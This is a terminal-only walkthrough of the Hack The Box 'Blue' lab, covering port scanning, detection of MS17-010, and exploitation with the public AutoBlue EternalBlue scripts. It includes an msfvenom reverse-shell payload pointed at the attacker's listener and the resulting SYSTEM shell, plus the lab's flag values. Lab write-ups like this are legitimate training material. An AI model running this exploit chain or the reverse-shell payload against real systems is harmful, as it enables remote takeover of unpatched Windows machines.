HTB靶机 Blue WriteUp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

 ┌──(xavier㉿xavier)-[~]
 └─$ ping -c 4 10.10.10.40
 PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
 64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=238 ms
 64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=237 ms
 64 bytes from 10.10.10.40: icmp_seq=4 ttl=127 time=240 ms
 
 --- 10.10.10.40 ping statistics ---
 4 packets transmitted, 3 received, 25% packet loss, time 3035ms
 rtt min/avg/max/mdev = 237.404/238.524/240.313/1.277 ms

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

 ┌──(xavier㉿xavier)-[~]
 └─$ sudo masscan -e tun0 -p- --max-rate 500 10.10.10.40
 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-21 05:48:42 GMT
 Initiating SYN Stealth Scan
 Scanning 1 hosts [65535 ports/host]
 Discovered open port 49156/tcp on 10.10.10.40
 Discovered open port 49152/tcp on 10.10.10.40
 Discovered open port 49154/tcp on 10.10.10.40
 Discovered open port 49155/tcp on 10.10.10.40
 Discovered open port 445/tcp on 10.10.10.40
 Discovered open port 49153/tcp on 10.10.10.40
 Discovered open port 49157/tcp on 10.10.10.40
 Discovered open port 135/tcp on 10.10.10.40
 Discovered open port 139/tcp on 10.10.10.40
 
 ┌──(xavier㉿xavier)-[~]
 └─$ sudo nmap -p135,139,445,49152-49157 -sSV 10.10.10.40 --script=default,vuln 
 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 14:04 HKT
 Nmap scan report for 10.10.10.40
 Host is up (0.24s latency).
 
 PORT     STATE SERVICE     VERSION
 135/tcp   open msrpc       Microsoft Windows RPC
 139/tcp   open netbios-ssn Microsoft Windows netbios-ssn
 445/tcp   open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 49152/tcp open msrpc       Microsoft Windows RPC
 49153/tcp open msrpc       Microsoft Windows RPC
 49154/tcp open msrpc       Microsoft Windows RPC
 49155/tcp open msrpc       Microsoft Windows RPC
 49156/tcp open unknown
 49157/tcp open msrpc       Microsoft Windows RPC
 Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
 
 Host script results:
 | smb2-security-mode:
 |   2.1:
 |_   Message signing enabled but not required
 | smb-vuln-ms17-010:
 |   VULNERABLE:
 |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
 |     State: VULNERABLE
 |     IDs: CVE:CVE-2017-0143
 |     Risk factor: HIGH
 |       A critical remote code execution vulnerability exists in Microsoft SMBv1
 |       servers (ms17-010).
 |
 |     Disclosure date: 2017-03-14
 |     References:
 |       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
 |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
 |_     https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
 |_clock-skew: mean: 4m02s, deviation: 6s, median: 3m58s
 |_smb-vuln-ms10-054: false
 | smb-security-mode:
 |   account_used: guest
 |   authentication_level: user
 |   challenge_response: supported
 |_ message_signing: disabled (dangerous, but default)
 | smb-os-discovery:
 |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
 |   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
 |   Computer name: haris-PC
 |   NetBIOS computer name: HARIS-PC\x00
 |   Workgroup: WORKGROUP\x00
 |_ System time: 2022-03-21T06:09:59+00:00
 | smb2-time:
 |   date: 2022-03-21T06:09:58
 |_ start_date: 2022-03-21T05:42:34
 |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 117.51 seconds

1
2
3

 └─$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
 (HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/
 └─$ pip install -r requirements.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

 (HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/
 └─$ nasm -f bin eternalblue_kshellcode_x64.asm -o evilKernel.bin
 
 (HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/shellcode]
 └─$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread LHOST=10.10.14.2 LPORT=4444 -f raw -o evilReverse.bin
 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
 [-] No arch selected, selecting arch: x64 from the payload
 No encoder specified, outputting raw payload
 Payload size: 460 bytes
 Saved as: evilReverse.bin
 
 (HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010/shellcode]
 └─$ cat evilKernel.bin evilReverse.bin > evilPayload.bin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

python eternalblue_exploit7.py <TARGET-IP> <PATH/TO/SHELLCODE/sc_all.bin> <Number of Groom Connections (optional)>
 (HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010]
 └─$ python3 eternalblue_exploit7.py 10.10.10.40 shellcode/evilPayload.bin 2
 shellcode size: 1232
 numGroomConn: 2
 Target OS: Windows 7 Professional 7601 Service Pack 1
 SMB1 session setup allocate nonpaged pool success
 SMB1 session setup allocate nonpaged pool success
 good response status: INVALID_PARAMETER
 done
 
 (HTB) ┌──(xavier㉿xavier)-[~/HTB/AutoBlue-MS17-010]
 └─$ python3 eternalblue_exploit7.py 10.10.10.40 shellcode/evilPayload.bin 24
 shellcode size: 1232
 numGroomConn: 24
 Target OS: Windows 7 Professional 7601 Service Pack 1
 SMB1 session setup allocate nonpaged pool success
 SMB1 session setup allocate nonpaged pool success
 good response status: INVALID_PARAMETER
 done
 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

 ┌──(xavier㉿xavier)-[~]
 └─$ nc -nlvp 4444
 listening on [any] 4444 ...
 connect to [10.10.14.2] from (UNKNOWN) [10.10.10.40] 49159
 Microsoft Windows [Version 6.1.7601]
 Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
 C:\Windows\system32>whoami
 whoami
 nt authority\system
 C:\Windows\system32>cd C:\Users\haris\Desktop
 cd C:\Users\haris\Desktop
 
 C:\Users\haris\Desktop>type user.txt
 type user.txt
 6349f910cd5b7ddae73521237f8e90c3
 
 C:\Users\haris\Desktop>type C:\Users\Administrator\Desktop\root.txt
 type C:\Users\Administrator\Desktop\root.txt
 3515d002af86dbfff3ce6f9bbffe7ede